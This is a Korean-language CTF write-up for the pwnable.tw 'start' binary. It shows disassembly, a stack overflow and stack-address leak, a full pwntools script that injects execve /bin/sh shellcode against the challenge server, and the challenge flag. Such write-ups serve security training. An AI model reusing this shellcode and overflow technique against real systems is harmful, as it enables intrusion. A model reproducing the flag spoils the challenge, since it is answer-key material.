문제
start 바이너리의 checksec 결과는 다음과 같다. (peda 안에 구현된 checksec을 사용하면 NX가 걸려 있는 것으로 나옴…뭐지?)
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
file 명령어의 결과는 다음과 같다.
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
statically linked이고 syscall 밖에 사용하지 않으므로 사용할 수 있는 라이브러리 함수가 없다.
어셈블리 코드 _start()
public _start
_start proc near
push esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push ':FTC'
push ' eht'
push ' tra'
push 'ts s'
push 2774654Ch
mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
xor ebx, ebx
mov dl, 3Ch
mov al, 3
int 80h ; LINUX - sys_read
add esp, 14h
retn
sys_read 함수에서 bof가 발생한다. (NX가 disabled되어 있기 때문에 stack에 실행 권한이 있다.)
또한 _start의 가장 처음에 실행되는 push esp
를 통해서 stack에 (ret 위치 +4) ret 위치 + 8을 가리키는 주소가 저장된다. 이 값을 leak하면 ASLR을 우회할 수 있다.
exploit 방법
- bof를 통해서 ret를
mov ecx, esp
의 위치로 바꾸면 sys_write를 통해서 ret 위치 +8 값을 읽어올 수 있다. - sys_write 다음에 호출되는 sys_read를 통해서 shellcode를 삽입하고 eip를 control한다.
풀이
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
shell="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
write_read=0x08048087
#p=process("/home/sungyun/round3/start/start")
p=remote("chall.pwnable.tw", 10000)
p.recvuntil("CTF:")
pay="A"*20
pay+=p32(write_read)
p.send(pay)
stack=u32(p.recv(4))
p.recv(16)
pay2="A"*20
pay2+=p32(stack+20)
pay2+="\x90"*10
pay2+=shell
p.send(pay2)
p.interactive()
flag : FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
(/home/start/에 존재)